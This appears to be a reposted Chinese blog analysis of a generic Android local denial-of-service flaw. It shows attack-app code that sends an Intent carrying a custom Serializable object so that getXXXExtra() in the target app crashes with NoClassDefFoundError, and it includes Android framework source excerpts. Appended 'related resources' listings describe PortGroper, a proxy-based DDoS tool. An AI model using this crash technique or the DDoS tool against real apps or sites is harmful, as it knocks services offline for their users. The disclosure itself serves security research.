`
gg163
  • 浏览: 6972 次
文章分类
社区版块
存档分类
最新评论

Android APP通用型拒绝服务、漏洞分析报告

阅读更多

点评:记得曾经有段时间很多SRC平台被刷了大量APP本地拒绝服务漏洞,移动安全团队爱内测(ineice.com)发现了一个安卓客户端的通用型拒绝服务漏洞,来看看他们的详细分析吧。 


0xr0ot
Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。 


针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。 


漏洞应用代码片段:

1

Intent i = getIntent();

2

if(i.getAction().equals("serializable_action")){

 

3

i.getSerializableExtra("serializable_key"); //未做异常判断

4

}

攻击应用代码片段:

1

Intent i = newIntent();

2

i.setAction("serializable_action");

 

3

i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");

4

i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据

 

5

startActivity(i);

比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException 


但后来交流中发现,当传入一个自定义的序列化对象SerializablegetParcelable对象时,接收Intent的目标组件在getSerializableExtra()getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。 


自定义的序列化类很简单:

1

publicclassDataSchema implementsSerializable {

2

privatestaticfinallongserialVersionUID = -3601187837704976264L;

 

3

publicDataSchema() {

4

super();

 

5

}

6

}

 

对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。 


随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。 


测试app代码片段:

1

protectedvoidonCreate(Bundle savedInstanceState) {

2

Intent intent = getIntent();

 

3

intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash

4

}

 

接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。

 

01

publicString getStringExtra(String name) {

02

returnmExtras == null? null: mExtras.getString(name);

 

03

}

04

/frameworks/base/core/java/android/os/Bundle.java

 

05

publicString getString(String key) {

06

unparcel(); //处理数据

 

07

...

08

}

 

09

/* package */synchronizedvoidunparcel() {

10

...

 

11

mParcelledData.readMapInternal(mMap, N, mClassLoader);

12

...

 

13

}

14

 

 

 

15

/frameworks/base/core/java/android/os/Parcel.java

16

readMapInternal解析传递进来的数据

4
0
分享到:
评论

相关推荐

    Android安全之WebViewUXSS漏洞

    而UXSS(Universal Cross-Site Scripting,通用型跨站脚本攻击)则是另一种类型的漏洞,它不同于传统的XSS攻击,因为它不是基于某个特定网站的安全漏洞,而是利用浏览器或浏览器扩展程序的安全缺陷进行攻击。...

    Android Studio JNI_NDK开发实例

    - 利用NDK提供的`android_native_app_glue`,实现后台服务或后台进程的原生执行。 8. **调试技巧**: - 使用Android Studio的NDK调试功能,设置断点并跟踪原生代码。 - 使用`__android_log_print`函数进行日志...

    Android开发编码规范

    ### Android开发编码规范 #### 1. 引言 ##### 1.1 目的 本文档旨在为Android开发人员提供一套系统化的编码规范指南,帮助团队统一代码风格,提高代码质量和可维护性。通过遵循这些规则,可以有效减少代码中的潜在...

    java开源包101

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包8

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包1

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包11

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包2

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包3

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包6

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包5

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包10

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包4

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包7

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    java开源包9

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

    Java资源包01

    PortGroper 是一款java写的开源拒绝服务测试工具,它不是僵尸网络类的ddos,而是使用大量的代理作为bots发起DDOS。Port Groper可以与用测试防火墙,干扰web 统计脚本的跟踪,为网站增加流量..往好了用什么都能干,就是...

Global site tag (gtag.js) - Google Analytics